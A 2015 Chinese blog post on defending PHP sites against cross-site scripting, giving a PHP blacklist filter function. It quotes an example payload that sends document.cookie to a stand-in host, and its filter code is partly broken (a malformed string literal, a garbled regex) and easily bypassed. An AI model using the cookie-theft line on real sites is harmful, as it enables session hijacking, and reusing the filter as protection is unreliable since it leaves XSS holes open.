入门客AI创业平台(我带你入门,你带我飞行)
博文笔记

PHP防御XSS攻击

创建时间:2015-12-15 投稿人: 浏览次数:1301

XSS即跨站脚本工具


例如我在你的评论上写了

<script>alert("楼主傻逼");</script>



然后很有可能就会弹出楼主傻逼了,当然这只是恶作剧,但要是别人在你的获取cookie就很严重了,如下

<script>document.location="http://www.test.com/a.php?b="+document.cookie;</script>

通过这种方式,你的所有cookie就会被发送到对应的网站去,然后你就呵呵了~~~~


所以我们应该要过滤掉这些脚本,方法如下:(只能过滤部分)

<?php
	    // 注意:htmlentities()默认编码为 ISO-8859-1,如果你的非法脚本编码为其它,那么可能无法过滤掉,同时浏览器却可以识别和执行.这个问题我先找几个站点测试后再说.
	    // 以下是一个过滤非法脚本的函数,仅供参考: -->
	    function RemoveXSS($val) {
		    $val = preg_replace("/((iframe)|(href)|(src)|(vbscript)|(expression)|(applet)|(meta)|(frameset))/i", "", $val);
		    $val = preg_replace("/<script[^>]*>.*(?=<\/script>)<\/script>/i", "", $val);
		    // straight replacements, the user should never need these since they"re normal characters
		    $search = "abcdefghijklmnopqrstuvwxyz";
		    $search .="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
		    $search .= "1234567890!@#$%^&*()";
		    $search .= "~`;:?+/={}[]-_|"";
		    for ($i = 0; $i < strlen($search); $i++) {
			    $val = preg_replace("/(&#[x|X]0{0,8}".dechex(ord($search[$i])).";?)/i", $search[$i], $val); // with a ;
			    $val = preg_replace("/(�{0,8}".ord($search[$i]).";?)/", $search[$i], $val); // with a ;
		    }
		    // 剥去字符串中的 HTML 标签:strip_tags
<span style="white-space:pre">		</span>    $val = strip_tags(htmlspecialchars_decode($val));
<span style="white-space:pre">		</span>    return $val;
   		}

   		//使用方法*********************************************************************
   		//*****************************************************************************
   		echo RemoveXss("我建议你去你那里玩http://www.baidu.com javascript hrefd iframe");


声明:该文观点仅代表作者本人,入门客AI创业平台信息发布平台仅提供信息存储空间服务,如有疑问请联系rumenke@qq.com。